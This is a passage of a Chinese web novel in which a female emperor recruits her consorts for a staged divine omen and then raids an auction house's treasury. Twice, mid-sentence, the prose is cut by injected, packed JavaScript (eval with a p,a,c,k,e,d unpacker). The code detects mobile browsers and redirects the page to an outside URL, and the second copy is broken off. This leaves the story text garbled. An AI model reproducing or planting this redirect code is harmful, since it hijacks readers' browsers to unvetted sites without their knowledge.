白尔躬身退下,甫一转身,差些与凤帝撞了满怀,他止步不可置信的抬首,恰与凤眸四目相对,愣怔之余便要下跪请安,却被凤帝抬手止住。 白尔心领神会,退出房门前,还不忘召走了屋中的宫人。 云梦楼风格迥异于其他后君宫殿,红木桌案上竹简堆叠,墙上悬挂祭祀画卷,房中陈列尽是青铜礼器等器物。 窗前松柏青翠,松香与檀香交织,平添庄重神秘之感。 裴源缓步踱至案前,目光掠过摊开的竹简,上面写晦涩难懂的术法文字。她凝神看了片刻,没怎么看懂,于是悄然行至西门眙的身后,见他眉间微蹙,目光凝着案上几枚散落的铜钱。 对于凤帝的到来,西门眙恍若未察,甚至在稍顷后抬头望向窗外,喃喃低语:“等待的时间不会太短才对,怎么还没动静?” 裴源看着六枚铜钱,不禁心生好奇:“怎么看出来的?” 西门眙轻声道:“坤卦代表女,色黄,应西南紫宸殿。卦象大吉,静候即可,所念之人,必至无疑……” 话音未落,西门眙一怔,猛地回头,瞧见来人瞬间喜色满面:“陛下!” 他正欲起身行礼,却被裴源按住肩头:“无需多礼,”她指着卦象道:“那,你可能看出朕此番前来的目的?” 西门眙愣怔片刻,转而看向桌案上的铜币,试探道:“陛下寻臣,莫非是要臣的帮助?” 裴源眉头微挑,说道:“这也能看出来?” 西门眙指着卦象道:“坤卦的卦辞为:君子有攸往,先迷后得主,说明陛下初来时,内心是不确定的,但来见了臣后,不知为何又改变了主意,想从臣的身上获得某种支持或帮助。” 西门眙言此,随手拾起三枚铜钱,随意抛出,待其落地后微微蹙眉,沉吟道:“初六爻变,履霜,坚冰至。此乃水地比卦……” 西门眙念此,脸颊顿时泛起一丝红晕,低声应道:“臣愿意。” 裴源抬眼,眼中满是困惑:“愿意什么?朕分明什么都还没说呢?” 西门眙的脸色愈发红润,他低头轻声嘀咕道:“比卦乃亲密和顺之象,岂不暗示陛下今夜欲召臣侍寝?臣身为陛下之君,自当尽心侍奉。” 裴源:“……” 裴源眼见少年神色越来越羞赧,甚至打算近身上前,急忙摆手道:“什么乱七八糟的!亲密之事一定局限于床笫之间吗?你心中就没有更宏大的志向?” 西门眙一愣,抬头看她,一脸迟疑:“臣身为后君,侍奉陛下便是天职。除此之外,臣还能做些什么?”他沉默片刻,目光落在方台上摆放的各类器具上,试探着问道:“莫非……陛下欲再探一次生命的奥义?” 裴源:“……” “非也~”裴源正色道:“朕寻你,为的是携手共进,谋定大业,振兴我朝河山。” 西门眙眨眨眼,缓缓开口:“陛下,您是醉了吗?” 裴源忙扶他重新入座,而后正色道:“你说得不错,朕来时的确心存犹豫,不知寻你是否得当。如今看来,此事非你不可。只是朕此行仓促,尚未做好万全准备。你且稍候两日。” 她言此,拍了拍他的肩膀:“早些休息,两日后,朕再寻你详谈细节。” 西门眙:??? 凤帝来也匆匆,去也匆匆,白尔似早已预料结果一般,死气沉沉的入了内殿:“不是奴才说您,陛下好不容易来一次,您就不能做点后君应该做的事吗?您看,又把陛下吓走了!” 西门眙眉头紧蹙,百思不得其解:“本宫邀请陛下了,想要与她共度良宵。可陛下说……要与本宫共谋大业。” “大业?与您谋的着吗?”白尔收拾着方台上的破烂,无奈道:“主子也不必为了面子诓骗奴才,您整日不是摇龟壳,就是敲铜拔,什么大业能用得上您?难不成让您当着全天下百姓的面,敲你这些破铜烂铁?共同体悟生命的奥义?届时,百姓不把你当成妖怪烧了才怪呢!” 说话间,白尔无意间叩响铜钵,清脆悦耳的声响萦绕殿中时,西门眙紧缩的眉头慢慢舒展,下意识看向白尔手里的器物陷入深思。 彼时,太学府静谧无声,唯有思贤阁内灯火通明。忽而,一阵疾风涌入,压弯了燃烧的烛火,几愈熄灭。棋盘一侧端坐的男子耳尖一动,下意识撇了眼透过屏风的人影,纤细而绰约,是个女子无疑。 火苗再次挺立时,他已起身没入黑暗之中。 傅逸春刚将黑子棋盒放置手边,女子已踱入屏风之内,四目相对,问:“夜深,陛下怎么来了?” 凤帝行至他的面前,看了眼棋局后,随手从他手边端了一盒黑色棋子后坐下:“自己和自己下棋?不觉得很枯燥吗?” 傅逸春不动声色的捻起白子:“臣身为大儒,才学之上,棋艺也不能落后,否则露了破绽可如何是好?” 裴源闻言,偷偷打量着他的眉眼,见其眼中并无不满,才打趣道:“爱君辛苦了,若觉疲惫,不妨借游历之名,外出游山玩水,不必忧心银两与安危,朕必妥善安置,爱君只管尽兴。” 傅逸春挑眉,淡淡道:“天上掉馅饼的好事,臣从未遇过。臣只知,欲得其利,必先为之劳。陛下深夜前来,必有所图,还望直言。” 裴源笑意慢慢收敛,道:“爱君也不要把朕想的这么世俗,你辛苦呢,朕是知道的。所以,愈寻个帮手给爱君。” 傅逸春静默须臾,靠着椅背,缓缓环起手臂,而后一言不发的看着她。 裴源被他盯的心虚,于是摸了摸鼻子:“欲得民心,其一,需使百姓丰衣足食;其二,需立 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15426220|164313||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 精神领袖凝聚人心;其三,需筑信仰根基,使万民归心。” 傅逸春稍作思量:“朝局已稳,岁稔年丰;又有诗仙下凡,凝聚万民之心;如今只差一个信仰了。”他看向裴源:“看来陛下已有人选。” “爱君聪慧。”裴源问他:“淑君,西门,爱君以为如何?” “西门眙?”傅逸春轻捻棋子,沉吟良久,微微颔首:“太常寺卿之子,善卜卦,通术法,又爱捣鼓奇奇怪怪的法事器物,是个妙趣之人。” 傅逸春默然片刻,不禁反问:“可太常寺卿尚在朝堂,陛下若启用其子,难道不顾虑其父家尚在,外戚干政,惹出祸端吗?” 裴源微微一愣,视线从棋局抬望向他的眉眼,久久方道:“原来傅侍君以为朕启用你?是因为你无父家傍身?” 傅逸春不置可否。 裴源似不以为意,棋子轻落,淡然道:“在朕眼中,并无男女、身份之别。无论前朝后宫,只要入了朕的眼,觉得可靠,朕便愿意一试。至于这个人有无家族势力?”她轻嗤一声道:“若朕连后宫诸君都掌控不了,畏首畏尾,又何谈稳控朝局,坐稳凤位?” 裴源静默两息,又道:“朕用人,首观其性,次察其才。你性情独立,心有主见,既怀一技之长,又抱独到之好,最主要是与朕德性相符、理念契合,这便是朕信你之因。至于西门眙……他性子清简,痴迷于玄妙术法,思想飘忽,玄之又玄,如此特别有趣之人,关在深宫,实在可惜。” 傅逸春下意识瞥了眼暗处,月白袍角微动,故而收敛情绪,落下一子后抬眸望向裴源,语气中带着一丝试探:“君后呢?陛下如何看待?” 裴源微微蹙眉,抬眸时,凤眸透出几分不满:“与你无关的事,少打探!” 傅逸春:“……” 其他人就能如实相告,君后就是与他无关?不都是后君吗?有何区别? 裴源不理会他的心思,又落下一子后,继续道:“裴若淑无端死在皇陵,恰发生在夏至祭祀,朕有些担心有人会以幽冥神力之说,搅弄风云。所以早做防备,有备无患。” 傅逸春沉吟片刻:“陛下欲用推臣之法?予他造势?” 裴源微微沉吟,轻声说道:“神子降世,与诗仙入凡,二者不可同日而语,等级不同,更有难度。因此,再行推诗仙之法,恐怕难以奏效,不但会引人怀疑,还会祸及爱君,得不偿失。朕思来想去,唯有天降异象,方能彰显神子之尊。” 傅逸春沉默须臾,低声道:“可臣并无呼风唤雨之能。” 裴源语气淡然:“朕知道。此事无需爱君忧心,朕自有筹谋。待吉时既至,爱君为他赋诗一首足矣。有爱君这般德高望重的诗仙为其背书,神子之名自会愈发稳固。” “此事不难。”傅逸春沉吟片刻,目光微闪:“臣更好奇,陛下如何造出天象异变?” 裴源坦然道:“朕还没想到。” 傅逸春:“……” 裴源又道:“万幸君后聪慧无双,朕准备回去问问他。” 暗处的陆长行:“……” 太看得起他了,呼风唤雨这种事……谢邀,婉拒。 48. 第 48 章 裴源实非对弈高手,不过几个回合便入下风,随手抓了两颗棋子扔在了棋盘上:“夜深了,早些休息吧。” 傅逸春神色从始至终的淡然,她来不见喜,她走不见悲,只是瞥向棋局时难得展露一丝笑颜。 眼见凤帝消失在夜幕之中,暗处的陆长行方才缓缓踱至桌案前,纵观棋局,明明呈优势的黑子,眼下被杀的片甲不留。 傅逸春笑道:“黑棋输了,君后可认?” 陆长行不由唏嘘:“天意如此,愿赌服输。” 陆长行看向他:“你如今在太学地位超然,把傅艺放在眼皮子底下看顾不更稳妥?何必非要送去国子监?” 傅逸春整理着棋子,棋子相撞声中,回复他道:“她性情不稳,若知我便是帷帽诗仙,难免会心生自满,仗势而为。反观国子监中风气不正,学生多有攀比之心,彼此钩心斗角,更易磨炼心性。幼时多吃亏,长大才能立的稳。” 陆长行不置可否,但想了想,还是回道:“话虽如此,该插手还是要插手,以免养成阴暗的性子,辜负了你的用心。” 傅逸春点了点头:“臣晓的。” 天色已晚,不宜久留,陆长行准备离去,才行过屏风之后,不料凤帝去而复返,忽然出现在窗外。 三人相顾无言,空气陷入了良久的死寂。 终是傅逸春缓步上前,打破沉默:“陛下可还有要交代的?” 裴源这才将视线从陆长行身上移到傅逸春的脸上:“朕刚刚忘了问你。南阳王近来可有再来打扰你?” 傅逸春摇头:“瞿辰出宫后,日日围着她转,此刻已应接不暇,顾不得臣了。” 裴源了然:“如此便好。”说罢,再次看向陆长行:“可要朕捎君后一程?” 陆长行颔首扶额:“臣谢陛下恩典。” 太学坐落于京城东区,旭日初升时,第一缕朝霞总会率先洒落在太学的藏书阁上,意在天意昭示这片学术圣地。 四周环境清幽雅致,静谧得连车轮碾过地面的窸窣声都显得格外清晰。 夜色如墨,车厢内光线漆黑一片,裴源看不清陆长行的眉眼,只是跟着感觉握住了他的手。 陆长行指尖微微一颤,沉默了片刻,反手将女子的手紧紧包裹在掌心:“臣还以为陛下会因臣冒然出宫,心生不悦呢?” “朕在你心里,是个炮仗不成?动不动就生气?”裴源默了默:“适才朕与傅逸春交谈,你可听到了?” 陆长行轻嗯一声:“不过要让陛下失望了,臣亦不会呼风唤雨。” 裴源‘哦’了声,情绪平淡,让人听不出喜怒,只是慢慢将头枕在了陆长行的肩头。 车厢再次陷入静谧。途径中央街区时,小贩的叫嚷声打破了车厢宁静。 陆长行掀开帘子望去,不远处的南市灯火辉煌,好不热闹。 裴源见势开口:“可要逛逛吗?” 陆长行:“好。” 时至戌中,南市依旧热闹非凡。华灯初上,映照着熙熙攘攘的人群,一片繁华盛景。两人执手缓步前行,沿着熟悉的街巷,目光所及之处,与上次出城时并无二致,不免少了新奇之趣,于是,相约逛起了门店来。 成衣铺子,绫罗绸缎挂满货架,尽显京城风潮;胭脂铺子,各色脂粉、香膏琳琅满目,得见百姓妆容趋势。头面饰品更是款式繁多。 裴源随手拿起一支竹节碧玉簪,触感温润细腻,雕工精巧绝伦。正欲递给身旁男子试戴,转身之际,陆长行却不见了影踪。 裴源四下寻觅,最终在内室看到了陆长行的身影,他正伫立于一处孤品货架前,看着上头的一件宝冠专注入神。 那是一顶金宝钿头冠。裴源虽不谙饰品之道,却也能看出此冠工艺繁复,款式独特。冠身在灯火的映照之下,金光熠熠,奢华尽显。 “若中意,买下便是。”裴源轻声说道。 陆长行回过神,目光却仍停留在那头冠之上:“此冠融合掐丝、镶嵌等技艺,上嵌绿松石、琥珀等珍宝,件件皆为稀世之物。” 裴源微微颔首:“孤品自然价值不菲。” “价格不过表象。”陆长行指着冠身中央那朵用 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两人驻足良久,引起了小二的注意。小二见二人衣着华贵,气质不凡,不敢轻易上前搭话,匆忙上楼寻了掌柜。掌柜闻讯,忙不迭地快步下楼,脸上堆满笑容,欠身道:“两位若中意,尽管取下试戴便是。” 二人齐齐看向掌柜,娘子体态微微发福,满面笑容,透着一股子和气生财的亲和劲儿。 裴源忍不住开口问道:“这冠上的花甚是奇特,我与夫君商讨良久,竟也猜不出个所以然。” 掌柜听闻,不但未显得不耐烦,反而负手而立,挺着肚子道:“二位郎君有所不知,这花唤作沙曼,传闻只生长在茫茫沙漠之中,极为罕见。因而,又是沙罗国的国花。” 见二人露出恍然大悟之色,掌柜愈发得意,又道:“这顶头冠本是沙罗国皇室之物,我是费尽心思才得来。若非近来手头紧,我是断然不舍得拿出来卖的。” 裴源微微挑眉,直视掌柜:“听你这般说,这头冠来历怕是有些不正吧?” “这话从何说起?”掌柜敛起笑意:“见二位也是有头有脸的人物,想必听过玉镇榷场,此冠便是我竞价得来,二位若心有疑虑,大可花五两银子前去榷场,调取出竞价名录,一观便是。” 49. 第 49 章 玉镇榷场为大晟首屈一指之拍卖重地。虽地处非京,但其声名远播,堪称行业翘楚。 玉镇榷场所立的规矩,堪称行业之范本。诸多榷场皆以其为楷模效仿。可谓是拍卖界之泰山北斗,其影响力与权威性,不容小觑。 陆长行言及此,看向裴源正色道:“但它之所以扬名,凭借的还是定国老王卿的势。” 裴源低沉呢语:“定国老王卿?” 说起这位定国老王卿,也是个传奇人物。 她与皇祖母虽无血缘之亲,却情谊深厚,胜似姐妹。二人同赴沙场,浴血奋战,终得江山社稷。皇祖母斩杀前朝帝王登基为帝后,便封她为定国大将军。 彼时边陲多事,局势不稳,全赖老王卿镇守。然其功绩日隆,却也引得朝中文臣侧目。 按常理,老王卿性情刚烈,脾气火爆,本该入京与文臣一较高下。可谁也没想到,她竟轻描淡写的卸下兵权,归京颐养天年。 此女不喜美色,亦无子嗣。只对收集奇珍异石感兴趣。 皇祖母怜她孤身一人孤苦,再加上同袍之谊,所以一得好的珍奇之物,就紧着她赏玩。 陆长行继续说道:“有一年,不知从何处传来的流言,说有渔妇从东海海底捞出了一颗夜明珠,大比人头,夜放光芒,可与月光争辉。老王卿听闻此事,便遣人四处查探,最终得知此物竟在玉镇榷场。许是榷场造势,拍卖此物当天,来了许多达官贵人,都要拍下此珠收藏把玩,众人你来我往,直接将这珠子炒上了天价。很多拍卖者望而却步因此放弃,只剩下老王卿与另一个买家,两人似谁也不服谁一般,隔着单间抬价。最后把老王卿给惹火了。 老王卿一枪劈开了对家的门,大呵一声:‘狂妄小辈,你既喜欢那珠子,本卿让给你也无妨,毕竟黄泉路幽暗,拿它照明也是好的。’要不是榷场的掌柜前来拉架,只怕那买家会血溅当场。最后呢,对方知晓她的威名,便主动让了珠子。榷场的掌柜见势,也未收老王卿的银两,不但将珠子送给了老王卿,还顺带送了许多奇珍给她老人家。老王卿哪好意思白收人家的礼?回来后,大肆替玉镇榷场宣扬,自此,玉镇榷场便成了大晟第一榷场。” 裴源听到此处沉默数息:“如此说来,这玉镇榷场也兴了许多年了,毕竟这朝局都换了三代帝王了。” “是啊。”陆长行也是一阵唏嘘:“据说,那榷场的掌柜极通人情世故,得知老王卿替自己宣扬之名,便以谢恩之名频频造访定国卿府,坊间还有传闻,说老王卿最后收了那掌柜为义女。” 裴源摩挲着黑玉扳指:“王卿收义女,可不是民间跪地奉一杯茶这么简单。尤其老王卿一辈子无儿无女,若真有这般心思,必会声势浩大,满城皆知。所以这坊间传闻不一定作数,约莫是那掌柜自己对外放出的假消息罢了。” 陆长行不置可否,他想了想又道:“掌柜在变,不过商人的本性不会变,这榷场兴盛这么多年,定有高手坐镇,如何看不出那金冠是宫廷之物?” 裴源沉默半晌后启唇:“明知而为,其根本,还是不惧。老王卿不在了,不还有别人吗?玉镇离京城又不远。” 陆长行轻笑一声,车厢黝黑,裴源看不出他的神色,只听他道:“宸贵君尚在玉镇,陛下何不手书一封,让他前往这榷场探探虚实?” 车厢良久无言。 陆长行打趣道:“陛下是信不过宸贵君,还是舍不得烦劳他?” 裴源只轻描淡写道:“朕只是想起,自己的头疾好久没有复发了,还有些不习惯呢。” ** 两日后,城门大开时,侯在城门的百姓一股脑的涌出城去,两辆尾随在队伍之末先后顺利出城。 车帘慢慢被掀开了一角。 一双圆眸眨了眨,西门眙难掩兴奋,新奇的望着城外的一草一木:“三年多未出城了,没想到城外还是老样子。” 庄与之冷哼一声,不屑的白他一眼:“瞧你那点出息?” 同为君位,西门眙也丝毫不给庄与之好脸色:“你那么有出息?合该回家待着,何必巴巴跟过来?” 庄与之眼眸锐利看他:“本宫花了银子了!足足三千两,这次的外出车马,花的都是本宫的钱!本宫随行,天经地义!倒是你,分文未出,你我谁死皮赖脸的跟着,谁知道?” 西门眙撇了撇嘴:“君后说了,谁能哄陛下高兴,谁就有出宫的恩典。你讨不着陛下的欢心,只能靠银子换恩典?怪的着谁?” 庄与之冷笑:“狐媚手段,装痴卖乖,本宫才不屑为之。” 近来,君后设立了一项恩典制度,条目繁多,足足有二十余条,还采用了积分制。只要积分达到一定标准,便能前往凤帝处讨取恩典,出宫便是恩典之一。 制度中有一条名为“散银”,听起来是为了充盈国库,造福万民,但庄与之却觉得,这分明是凤帝变着法子向后君要钱。 凤帝手头拮据,庄与之是心知肚明的。 先帝晚年志盈气满,挥霍无度。皇宫各殿皆翻新重修,大兴园林,极尽奢华;为求功德圆满,耗费颇巨,修建道观、寺庙;甚至为彰显我朝兴盛,还将京城主要街道悉数铺设青砖;皇陵亦重新修缮,以保百年后的安宁。如此挥霍下去,国库自然空虚,裴源继位后,日子过得紧巴巴的。 庄与之总怀疑,前段时间凤帝昏迷了三日,是被气的:因为贡院修缮,工部上报了三万两的建资。 小家子气! 庄与之说不清自己对凤帝的心思。 他只记得小时候,凤帝是前太女身边的人,没人知晓她究竟扮演着何种角色。行的是侍卫伴读之事,可她毕竟是皇女出身;干的是长随奴婢的活计,偏又是公主之列。 这般身份,尴尬至极。不仅其他皇女看不起她,就连庄与之对她也瞧不上眼。 后来,裴源继位了。宗室对她的态度表面是恭敬了一些,那也不过是当着她的面。父王虽瞧她不起,但还是将自己送进了宫,成了后君。 庄与之明白,她们看不上裴源这个人,却不得不敬着凤帝,敬着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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西门眙下了车,摩挲着胳膊,仰望着建在半山腰的山庄,低声嘀咕道:“怪不得有避暑之效,原来竟是阴脉聚气的布局。” 裴源不解,问道:“何为阴脉聚气?” 西门眙边走边解释道:“山脉均有两面,向阳而暖则为阳,背阴而寒则为阴。聚气则有三要件:其一为藏风,四周树木环绕,可固气免被吹散;其二为得水,”他指向山脚下的湖水,继续说道,“水能聚气;其三为明堂开阔,妻主你看——” 西门眙指着远处开阔的空地,说道:“前方有开阔的空地,亦可使气聚集。故而,此山庄的建筑运用了风水中的阴脉聚气。而气,通常被认为可以带来好运和福气。” 裴源恍然大悟,点头道:“原来如此。” 西门眙沉默片刻,又道:“不过,阴脉聚气还有一种说法:以阴养阴,所以此地不宜久居,阴气太重。” 裴源又是一头雾水,问道:“以阴养阴?” 西门眙耐心解释道:“前阴指阴气,后阴,指的是阴宅或是墓地的意思。有些子孙想祈祷祖先保佑自己,便会将祖坟迁至阴脉聚气之地,借助阴气来养阴,以求祖先的庇佑。” 裴源微微蹙眉,尚未来得及开口,便听庄与之冷哼一声,语气中带着几分不屑:“少在这卖弄你那些邪门歪道!哪里的阴气能养阴?我可告诉你,这山庄的主人姓唐,为人热情大方,且有江湖豪情的洒脱。怎么到了你嘴里,就成了邪修之流了?” 50. 第50章 避暑山庄的掌柜唤作唐香菱,早年间在镖局做压货伙计,身手矫健,为人仗义忠勇。一次押送贵重货物途中,突遇山贼,她孤身护下货物,自此声名鹊起,得东家重用。 数年后,辞别旧主,转而投身跑船一行,凭借智勇双全,发了大财。 在庄与之眼中,此女堪称能人。 裴源未曾开口,西门眙却眨了眨圆眸,满是疑惑:“先做镖师?后去跑船?最后发家?”他挠了挠头,皱眉道,“说不清,但总觉得哪里不对劲。” 庄与之冷哼一声:“你那点芝麻大的脑子,看什么都怪。” 西门眙愣了片刻,气得满脸涨红,一把拉住裴源的胳膊控诉道:“妻主,你看他!” 裴源轻拍他的手,安抚道:“咱先走,别理他。” 庄与之闹了个没脸,愤愤地白了一眼一脸得意的西门眙,默默跟上。 客房比想象中更为清幽,只是待得久了,竟隐隐透着几分寒意。山庄的小二适时送来了煮茶的火炉与精致茶点,最后,还奉上了一本画册。 “客官,这是今日榷场的拍卖名目,若有需要,可随时吩咐小的。”小二躬身说道。 裴源接过名目,随意翻看,最后页码停在压轴的商品良久。 西门眙不禁凑上前来,疑惑道:“歙砚?就这两个字?歙砚虽说贵重,但也并非难求,凭什么可以压轴?” 庄与之倒了杯茶,奉到裴源手边,丹凤眼微挑,开口时语意慵懒:“压轴拍品往往如此,会在现场言明价值、来历等。”他沉默片刻,又道:“压轴拍品若是寻常之物,那这件拍品,定有其他玄机妙用。” 裴源了然,见西门眙对名册感兴趣,便递给了他。随后,抬眸看向小二,女子面容精致,眉眼间透着几分灵动,言辞也爽利干脆,倒是很讨喜。裴源问道:“你们客栈还与榷场有商贸往来?” 小二微微一笑,说道:“玉镇榷场每月初一、十五开市,届时玉镇车水马龙,商贾云集,山下客栈往往爆满。我家掌柜洞察商机,遂在山涧僻静处营建此避暑山庄。客官今日来得早,若迟些时辰,怕是连落脚之处都难寻了。今日恰逢十五,客官来玉镇,想必是为了榷场。您是我们山庄的贵客,为您榷场之行服务,也是应当的。” “你适才说‘需要?’指的是什么?”裴源微微皱眉,狐疑问道。 女子恭敬答道:“榷场的拍卖间分为天、地、人三档。天字号雅间,位置最高、视野最正,不过仅有五间;地字号单间,视角虽比天字号略逊一筹,但环境相对僻静,共有三十余间;人字号则是大厅散座,数量虽多,但也有一定限制,若是预定晚了,便只能等下次开市了。我家掌柜与榷场的老板有些交情,若客官对天字号或地字号的需求,我庄可帮忙预定。” “哦~”裴源恍然大悟,微微挑眉道:“如此看来,这榷场竟不是有银子就能进的。” 女子笑容加深,微微颔首,不置可否。 裴源沉吟片刻,道:“那就劳烦帮忙留间地字号单间吧。” 时至酉中,地字三号房。 狭小的房间里,西门眙对一切都感到新奇。而庄与之则是一脸不悦:“早就说过了,地字号坐不开。” 裴源啜饮一口清茶,语气平和道:“我们是偷偷跑出来的,行事还是低调一些。”她微微一笑,继续道:“左右不过两个时辰,忍忍便过去了。” 庄与之反驳道:“楼下散座岂不更低调?” 裴源正色道:“若我一人,坐散座也是无妨,可带着你们两个郎君,不太合适。” 庄与之无奈地望了望天。 彼时,展台传来一声清脆铃响,拍卖会如期而至。主持讲解时,现场无一人喧哗,竞拍开始后,也只是摇铃示意。 上台的拍品虽贵重,但比之御赐之物,还是欠缺些精致。庄与之兴趣泛泛,反倒对讲解一事更为热衷。常常是主持在台下讲优点,他在单间里说华点。 裴源通常不动声色,却内心骇然。从前对他印象只停留在肆意妄为,倨傲任性上,却不想庄与之不仅知事颇广,还对这些拍品也是耳熟能详。 可见这大殿下府邸,消息通达。 随着拍品的等级逐渐上升,会场的气氛才逐渐变得热烈起来。天字甲号房的买家逐渐成了众人关注的焦点。 西门眙隔着一层薄纱,目光扫向甲字号房门,低声问道:“这天字甲号房的郎君究竟是什么来头?所拍之物好似全凭心情,全无半点逻辑。” 天字甲号房的贵客是一位郎君,声音低沉而清冷。由于房门紧闭,裴源见不到他的样貌,但从映在房门上的影子来看,此子坐姿闲适懒散,偶尔饮一杯酒水,偶尔偏转脑袋,似在透过门上竹帘的缝隙打量全场,睨视楼下。 上了台的拍品,一大半都成了他的囊中之物。前朝的古玩字画他要,京城的房产他也要,甚至连僧人生前所用之物,都被他竞价得手。他出手阔绰,毫不吝啬,自然也成了众矢之的。 眼瞧又一件拍品被虚抬了高价,楼下散座中一位娘子不禁开口,声音带着几分恳切:“在下远道而来,家中有人急用此物救命,想拍下这颗附子回去。郎君若不急需,能否高抬贵手,让与在下?在下定感激不尽。” 众人纷纷看向天字甲号房,本以为那郎君会大度想让,却不想,他只是沉吟稍许,便再次叩响了响铃。 庄与之微微蹙眉,低声道:“那娘子冒然出口,为榷场规矩所不容,但榷场之人并未制止。可见是察觉不对,有意纵容。”他言罢,转头看向裴源:“我看这个男人是来闹事的,今日恐不能太平。妻主,我们要不要……” 裴源微微一笑:“来都来了,有拍品看拍品,有热闹凑热闹。” 庄与之颔首应是,起身行至西门眙身侧,轻轻撩起薄纱,也打量起甲号房来。 果不然,那郎君此举引来众人不满。起初,众人还只是以道德评判那贵客的为人,但随着气氛愈发紧张,人群里渐渐响起了污言秽语。 “一个男人,不好好在家相妻教女,来这种地方出风头,伤风败俗。” “有几个臭钱,就敢在此耀武扬威?可见见识短浅,浅薄至极。” “十九件拍品他拍走了十五件也就罢了,连人家的救命药都抢?我看他就是来砸场子的。” “……” 污言秽语,愈发刺耳。天字号雅间虽居高临下,却也听得纤毫毕现。 良久,轻蔑的冷笑声从高处落下,那郎君朗声讥讽道:“榷场首则,本为价高者得。诸位若欲竞拍,摇铃便是,何至于如此气急败坏?素闻玉镇榷场规矩严明,如今看来,也不过如此。这般嘈杂,宛如市井;这般买家,宛如泼妇。草台班子,还敢要老子花一千两入楼?我看啊,你们直接去菜市场置办个台子算了!” 楼下散座的买家听了这话,顿时火冒三丈:“抢人救命的药,简直猪狗不如!我看你这钱指不定是怎么来的呢?毕竟,传闻有道:“倌郎倌郎,见金眼亮,穿好裤子,翻脸便忘~” 会场瞬间陷入一片死寂,片刻之后,众人哄堂大笑,笑声中带着几分嘲讽和不屑。 甲字号房内忽而传出一声女子的冷喝:“找死!” 此言一落,房门被猛地踹开,一位女子手持长剑,如疾风般冲出,剑尖直逼那娘子的面门。 榷场中维护秩序的侍从见状,立刻拔刀相抵。只听“叮——”的一声清脆响声,刀剑相撞,迸发出几点火星。两人功力不相上下,齐齐退了几步。 主持见状,连忙呵斥道:“榷场不得闹事,违令者,逐出会场!” 甲字号郎君闻言,起身阔步走到栏杆处,一撩袍角,侧身倚坐,拄着长剑居高临下地睨着主持,冷笑道:“她辱骂在先,尔等不闻不问;我的侍卫不过护主,你们却以刀剑相逼。果然是个虚名在外的草台班子,想让老子滚?也要看看你们有没有这个能耐!”他望向楼下持剑的女子,冷冷道:“不必手下留情。” 女子应了一声,眸色瞬间冷厉,再出剑时,剑锋如电,下手阴狠,毫不留情。 场下顿时乱作一团,散客早已起身躲藏,惊呼声此起彼伏。而二楼半处,亦传来重重的脚步声,竟是会场中人,前去押解那男子离场。 却不料,那男子竟无半分露怯,姿态懒散地斜睨着一拥而上的人群。见其临近,他身形微动,抽出长剑,身形灵动,剑法凌厉。一袭红衣锦缎,随着他举手投足飒飒作响,身形一闪,剑尖轻挑,在半空划出一道寒芒。竟在几人的围攻之下占尽上风。一名侍从的刀被震飞,脚下一扫,又将另一名侍从踹倒在地。而后旋身飞踢,竟将两名侍从直接踹下了楼,引得楼下一片惊呼。众买家见势不妙,已开始逃离会场。 而地字三号房中,薄纱后的西门眙圆眸大睁,指着那贵宾,言语微颤:“那、那、那不是郭哥哥吗?” 庄与之亦是震惊不已,下意识望向裴源,却见女子不知何时也踱步到了窗前,见势,若有所思地点了点头:“身手不错,回头赏他个将军当当,兴许还能建功立业。” 庄与之下意识问道:“陛下欲做什么?” 裴源正色道:“听闻玉镇榷场有一处私库,里面装满了金银财帛。你是知道的,朕的私库空虚,只能靠此等手段充盈了。” 庄与之一脸惊愕:“可玉镇榷场侍从如云,仅凭宸贵君和牧山二人,如此车轮攻势下,很快就会落入下风!” 裴源理所当然道:“不是还有你们俩吗?” 西门眙一愣,下意识往后退:“陛下,臣柔弱不能自理,实难担此重任。” 庄与之亦态度决绝:“臣也不行!” 裴源看着二人追问:“那可怎么办啊?” 庄与之愕然:“……” 西门眙闻言,开口都颤了几分:“这个时候陛下就别开玩笑了,想必凤鸣卫此时早已埋伏在暗处了,您快叫她们出来吧。” 裴源耸耸肩:“好吧。” 说着,从袖口取出一枚短哨,锐利的哨鸣声刚一响起,楼中所有天、地包间的房门齐齐推开,就连楼下尚未来得及逃离的买家,同时敛起恐惧神色,反而对侍从们一拥而上,顷刻之间,就扭转了局面。 榷场侍从先后倒地,主持见势不对,正欲逃离,却被牧山持剑胁迫着打开了后院的门。 裴源道:“走吧。” 西门眙一脸懵逼:“去哪?” 庄与之更是在状况外,只是莫名其妙地跟在了裴源身后。下楼路上,红衣化作一道掠影,向着裴源飞奔而来。适才明明身姿利落的郭嘉安,此刻却如猫儿一般,下巴垫在了裴源的肩上,声音魅惑道:“多日不见,陛下可想臣了吗?” 裴源抬手叩了一下他的额头:“别闹,先办正事。” 郭嘉安轻哼一声,不情不愿地松了对裴源的桎梏。甫一站定,却听庄与之低声冷嘲:“狐媚惑主!” 郭嘉安冷冷瞥他一眼,未曾计较。 四人先后跨进了后院,行在凤鸣卫队伍之间。 榷场的后院并无灯火照明,好在今夜月圆,月光如银练倾泻而下,将后院的一草一木都照得清晰。然而,院中树木郁郁葱葱,枝叶繁茂,层层叠叠的树冠遮挡了大片月光,使得院内光影斑驳,幽暗阴森。 四周是诡异的静谧,不用多言,便知这情势不对。众人无不敛声警戒,一时间,只有众人的脚步声窸窣作响。 西门眙下意识抱住了裴源的手臂,像极了寻求庇佑的孩子。 “别怕。”裴源低声安抚着,察觉紧挨着自己的庄与之同样有些露怯,故而主动握住了他的手,才察觉他的手冰凉一片。裴源道:“这就怕了?素来在后宫不是挺跋扈的?” 庄与之全身一颤,似有一股暖流从掌心缓缓涌入全身。闻言,他没好气道:“少自以为是了,我才不怕呢。” “哦。”裴源当即就松了他的手,却不料反被庄与之牢牢抓在手里。郭嘉安看在眼里,不由冷笑一声:“狐媚惑主!” 庄与之怒道:“你!” 